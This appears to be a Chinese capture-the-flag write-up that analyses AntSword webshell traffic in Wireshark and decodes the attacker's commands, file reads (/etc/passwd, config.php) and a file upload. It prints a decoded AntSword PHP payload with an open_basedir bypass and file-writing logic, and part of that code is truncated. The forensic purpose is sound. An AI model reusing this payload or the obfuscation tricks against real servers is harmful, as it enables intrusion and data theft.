第六章 流量特征分析-蚁剑流量分析
1.木马的连接密码是多少
2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径
1.木马的连接密码是多少
webshell链接工具是用post传输的我们直接在wireshark里面输入命令
http.request.method =="POST"
来定位用post传输的流量
在未启用编码器或使用默认配置时,木马密码直接作为POST请求的第一个参数名出现。
打开第一个就能看到链接密码
flag{1}
2.黑客执行的第一个命令是什么
上一题我们知道1.php为黑客上传的shell了这里我们对这个文件进行搜索
http contains "1.php"
打开长度为894的流量包 右键 追踪http流 作
在蚁剑流量中,黑客执行的命令隐藏在 POST请求的特定参数值 中,需关注以下特征:
参数命名规则:
参数名格式为 ma[16位随机字符]、uc[16位随机字符](如示例中的 ucc3f8650c92ac)。
此类参数携带经过混淆的命令负载。
混淆机制:
参数值前2字符为蚁剑生成的随机字符(用于绕过简单规则检测),后续内容为Base64编码的命令序列。
将post请求体末尾的base64代码去掉头两位复制到base63解码即可看到黑客的操
flag{id}
3.黑客读取了哪个文件的内容,提交文件绝对路径
继续分析流量包,在856这个流量包这里将命令解码
将post请求包复制到网站进行url解码https://www.toolhelper.cn/EncodeDecode/Url
就可以看到明文传输,直接复制也可以
将最后base64加密的代码复制去掉前两位:这是蚁剑的随机前缀即可解密拿到明文密码
题目问我们黑客读取了哪个文件
flag{/etc/passwd}
4.黑客上传了什么文件到服务器,提交文件名
继续分析流量包在长度为646这里发现了黑客上传的文件
去掉前两位拿去url解码在base64解码
flag{flag.txt}
5.黑客上传的文件内容是什么
这一题其实一题里面就能看的出来,将上一题的请求体拿去url解码
整理一下
1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){continue;};
$tmdir=$item."/.368479785";
@mkdir($tmdir);
if(!@file_exists($tmdir)){continue;}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i @chdir(".."); }; @ini_set("open_basedir","/"); @rmdir($tmdir); break; }; }; function asenc($out){return $out;}; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "6960"."cb205"; echo @asenc($output); echo "1e0a"."91914"; } ob_start(); try{ $f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2)); $c=$_POST["ld807e7193493d"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &ld807e7193493d=666C61677B77726974655F666C61677D0A &t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA== 通过 $_POST["t41ffbc5fb0c04"] 接收Base64编码的目标文件路径(解码后为 /var/[www/html/flag.txt](https://www/html/flag.txt))。 通过 $_POST["ld807e7193493d"] 接收十六进制编码的文件内容(解码后为 flag{write_flag}),并写入目标文件 。 使用 fopen($f, "a") 以追加模式打开文件,fwrite() 写入内容,成功返回 1,失败返回 0 。 https://try8.cn/tool/code/hex 使用解码器解码 flag{write_flag} 6.黑客下载了哪个文件,提交文件绝对路径 继续分析1.php的流量在最后一个流量包里面,将里面的请求体进行url解码 可以看到黑客的操作 通过POST参数t41ffbc5fb0c04传递Base64编码的目标路径(2eL3Zh... → 解码后为/var/[www/html/config.php](https://www/html/config.php))。 使用readfile()函数读取文件内容并输出到响应流 将最后一段base64编码解码可以看到访问路径 flag{/var/www/html/config.php}